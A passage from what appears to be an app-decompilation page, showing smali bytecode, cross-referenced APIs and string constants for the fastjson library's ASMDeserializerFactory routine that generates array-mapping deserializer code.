                                                1720move-object/from16 v25, v13
                                                1721move-object/from16 v26, v14
                                                1722move-object/from16 v3, v21
                                                1723move-object/from16 v2, v22
                                                1724move/from16 v10, v27
                                                1725const/4 v4, 0x3
                                                1726goto/16 :goto_3e6
                                                1727cond_9a9: move-object v10, v7
                                                1728move-object/from16 v13, v25
                                                1729move-object/from16 v14, v26
                                                1730const/16 v12, 0x19
                                                1732invoke-interface {v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1734invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$400(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/Class;
                                                1735move-result-object v0
                                                1737invoke-virtual {v0}, Ljava/lang/Class;->isInterface()Z
                                                1738move-result v0
                                                1739if-nez v0, :cond_9ce
                                                1741invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$400(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/Class;
                                                1742move-result-object v0
                                                1744invoke-virtual {v0}, Ljava/lang/Class;->getModifiers()I
                                                1745move-result v0
                                                1747invoke-static {v0}, Ljava/lang/reflect/Modifier;->isAbstract(I)Z
                                                1748move-result v0
                                                1749if-nez v0, :cond_9ce
                                                1751invoke-direct {v8, v9, v10}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_batchSet(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                1752cond_9ce: move-object/from16 v0, v24
                                                1754invoke-interface {v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1756invoke-direct {v8, v9, v10}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_setContext(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                1758const-string v0, "instance"
                                                1760invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1761move-result v0
                                                1763invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1765invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$000(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                1766move-result-object v0
                                                1768iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->buildMethod:Ljava/lang/reflect/Method;
                                                1769if-eqz v0, :cond_a11
                                                1771invoke-virtual/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->getInstClass()Ljava/lang/Class;
                                                1772move-result-object v1
                                                1774invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1775move-result-object v1
                                                1777invoke-virtual {v0}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                1778move-result-object v2
                                                1779new-instance v3, Ljava/lang/StringBuilder;
                                                1781invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                1783const-string v4, "()"
                                                1785invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1787invoke-virtual {v0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                1788move-result-object v0
                                                1790invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1791move-result-object v0
                                                1793invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1795invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1796move-result-object v0
                                                1797const/16 v3, 0xb6
                                                1799invoke-interface {v10, v3, v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1800cond_a11: const/16 v0, 0xb0
                                                1802invoke-interface {v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1804invoke-interface {v10, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1806invoke-direct {v8, v9, v10}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_batchSet(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                1807const/4 v0, 0x0
                                                1809invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1810const/4 v0, 0x1
                                                1812invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1813const/4 v0, 0x2
                                                1815invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1816const/4 v0, 0x3
                                                1818invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1820const-string v0, "instance"
                                                1822invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1823move-result v0
                                                1825invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1826const/16 v0, 0x15
                                                1827const/4 v1, 0x4
                                                1829invoke-interface {v10, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1830const-class v0, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                1832invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1833move-result-object v0
                                                1834new-instance v2, Ljava/lang/StringBuilder;
                                                1836invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                1838const-string v3, "(L"
                                                1840invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1842sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                1844invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1846const-string v3, ";Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;I)Ljava/lang/Object;"
                                                1848invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1850invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1851move-result-object v2
                                                1853const-string v3, "parseRest"
                                                1854const/16 v4, 0xb6
                                                1856invoke-interface {v10, v4, v0, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1857const/16 v0, 0xc0
                                                1859invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$400(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/Class;
                                                1860move-result-object v2
                                                1862invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1863move-result-object v2
                                                1865invoke-interface {v10, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1866const/16 v0, 0xb0
                                                1868invoke-interface {v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1869move-object/from16 v0, v23
                                                1871invoke-interface {v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1872const/4 v0, 0x0
                                                1874invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1875const/4 v0, 0x1
                                                1877invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1878const/4 v0, 0x2
                                                1880invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1881const/4 v0, 0x3
                                                1883invoke-interface {v10, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1884const/16 v0, 0x15
                                                1886invoke-interface {v10, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1887const/16 v0, 0xb7
                                                1888const-class v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                1890invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1891move-result-object v1
                                                1892new-instance v2, Ljava/lang/StringBuilder;
                                                1894invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                1896const-string v3, "(L"
                                                1898invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1900sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                1902invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1904const-string v3, ";Ljava/lang/reflect/Type;Ljava/lang/Object;I)Ljava/lang/Object;"
                                                1906invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1908invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1909move-result-object v2
                                                1911const-string v3, "deserialze"
                                                1913invoke-interface {v10, v0, v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1914const/16 v0, 0xb0
                                                1916invoke-interface {v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1917const/4 v0, 0x6
                                                1919invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$100(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)I
                                                1920move-result v1
                                                1922invoke-interface {v10, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                1924invoke-interface {v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                1925return-void
                                                Cross References
                                                APIs
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isEnum
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isArray
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • (L
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                • deserialzeArrayMapping
                                                • ch
                                                • (I)V
                                                • ()C
                                                • lexer
                                                • _asm
                                                • scanLong
                                                • (C)J
                                                • scanBoolean
                                                • (C)Z
                                                • scanFloat
                                                • (C)F
                                                • scanDouble
                                                • (C)D
                                                • scanString
                                                • (C)Ljava/lang/String;
                                                • java/lang/String
                                                • charAt
                                                • (I)C
                                                • getCurrent
                                                • ()
                                                • getSymbolTable
                                                • (Ljava/lang/Class;
                                                • C)Ljava/lang/Enum;
                                                • scanEnum
                                                • scanInt
                                                • (C)I
                                                • valueOf
                                                • (I)Ljava/lang/Enum;
                                                • ;C)Ljava/lang/Enum;
                                                • createCollection
                                                • (Ljava/lang/Class;)Ljava/util/Collection;
                                                • <init>
                                                • ()V
                                                • scanStringArray
                                                • (Ljava/util/Collection;C)V
                                                • matchStat
                                                • I
                                                • token
                                                • ()I
                                                • throwException
                                                • next
                                                • setToken
                                                • nextToken
                                                • (Ljava/util/Collection;
                                                • L
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;)V
                                                • parseArray
                                                • getFieldType
                                                • (I)Ljava/lang/reflect/Type;
                                                • parseObject
                                                • (Ljava/lang/reflect/Type;)Ljava/lang/Object;
                                                • (J)V
                                                • (
                                                • I)V
                                                • check
                                                • instance
                                                Position Instruction Meta Information
                                                0move-object/from16 v6, p0
                                                1move-object/from16 v7, p2
                                                2new-instance v15, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                3new-instance v0, Ljava/lang/StringBuilder;
                                                5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                7const-string v1, "(L"
                                                9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                11sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                15const-string v1, ";Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;"
                                                17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                19invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                20move-result-object v12
                                                21const/4 v10, 0x1
                                                23const-string v11, "deserialzeArrayMapping"
                                                24const/4 v13, 0x0
                                                25const/4 v14, 0x0
                                                26move-object v8, v15
                                                27move-object/from16 v9, p1
                                                29invoke-direct/range {v8 .. v14}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                31invoke-direct {v6, v7, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->defineVarLexer(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                33invoke-direct {v6, v7, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_createInstance(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                35invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$000(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                36move-result-object v0
                                                38iget-object v8, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->sortedFields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                39array-length v9, v8
                                                40const/4 v11, 0x0
                                                41goto_37:
                                                42const-string v4, "ch"
                                                44const-string v5, "(I)V"
                                                46const-string v12, "()C"
                                                48const-string v14, "lexer"
                                                49if-ge v11, v9, :cond_735
                                                50add-int/lit8 v3, v9, -0x1
                                                51if-ne v11, v3, :cond_48
                                                52const/16 v16, 0x1
                                                53goto/16 :goto_4a
                                                54cond_48: const/16 v16, 0x0
                                                55goto_4a: if-eqz v16, :cond_4f
                                                56const/16 v3, 0x5d
                                                57goto/16 :goto_51
                                                58cond_4f: const/16 v3, 0x2c
                                                59goto_51: aget-object v1, v8, v11
                                                61iget-object v0, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                63iget-object v10, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                65sget-object v13, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                67const-string v2, "_asm"
                                                68if-eq v0, v13, :cond_6f4
                                                70sget-object v13, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                71if-eq v0, v13, :cond_6f4
                                                73sget-object v13, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                74if-ne v0, v13, :cond_67
                                                75goto/16 :goto_6f4
                                                76cond_67:
                                                77sget-object v13, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                78if-ne v0, v13, :cond_a6
                                                80invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                81move-result v0
                                                82const/16 v4, 0x19
                                                84invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                85const/16 v0, 0x10
                                                87invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                89sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                91const-string v3, "scanLong"
                                                93const-string v4, "(C)J"
                                                94const/16 v5, 0xb6
                                                96invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                97const/16 v0, 0x37
                                                98new-instance v3, Ljava/lang/StringBuilder;
                                                100invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                102iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                104invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                106invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                108invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                109move-result-object v1
                                                110const/4 v2, 0x2
                                                112invoke-virtual {v7, v1, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                113move-result v1
                                                115invoke-interface {v15, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                116goto_9f: move-object/from16 v17, v8
                                                117goto_a1: move/from16 v18, v9
                                                118move v10, v11
                                                119goto/16 :goto_72d
                                                120cond_a6:
                                                121sget-object v13, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                122if-ne v0, v13, :cond_de
                                                124invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                125move-result v0
                                                126const/16 v4, 0x19
                                                128invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                129const/16 v0, 0x10
                                                131invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                133sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                135const-string v3, "scanBoolean"
                                                137const-string v4, "(C)Z"
                                                138const/16 v5, 0xb6
                                                140invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                141new-instance v0, Ljava/lang/StringBuilder;
                                                143invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                145iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                147invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                149invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                151invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                152move-result-object v0
                                                154invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                155move-result v0
                                                156const/16 v1, 0x36
                                                158invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                159goto/16 :goto_9f
                                                160cond_de:
                                                161sget-object v13, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                162if-ne v0, v13, :cond_116
                                                164invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                165move-result v0
                                                166const/16 v4, 0x19
                                                168invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                169const/16 v0, 0x10
                                                171invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                173sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                175const-string v3, "scanFloat"
                                                177const-string v4, "(C)F"
                                                178const/16 v5, 0xb6
                                                180invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                181const/16 v0, 0x38
                                                182new-instance v3, Ljava/lang/StringBuilder;
                                                184invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                186iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                188invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                190invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                192invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                193move-result-object v1
                                                195invoke-virtual {v7, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                196move-result v1
                                                198invoke-interface {v15, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                199goto/16 :goto_9f
                                                200cond_116:
                                                201sget-object v13, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                202if-ne v0, v13, :cond_150
                                                204invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                205move-result v0
                                                206const/16 v4, 0x19
                                                208invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                209const/16 v0, 0x10
                                                211invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                213sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                215const-string v3, "scanDouble"
                                                217const-string v4, "(C)D"
                                                218const/16 v5, 0xb6
                                                220invoke-interface {v15, v5, v0, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                221const/16 v0, 0x39
                                                222new-instance v3, Ljava/lang/StringBuilder;
                                                224invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                226iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                228invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                230invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                232invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                233move-result-object v1
                                                234const/4 v2, 0x2
                                                236invoke-virtual {v7, v1, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                237move-result v1
                                                239invoke-interface {v15, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                240goto/16 :goto_9f
                                                241cond_150:
                                                242sget-object v13, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                243if-ne v0, v13, :cond_196
                                                245invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                246move-result v0
                                                247const/16 v4, 0x19
                                                249invoke-interface {v15, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                250const/16 v0, 0x10
                                                252invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
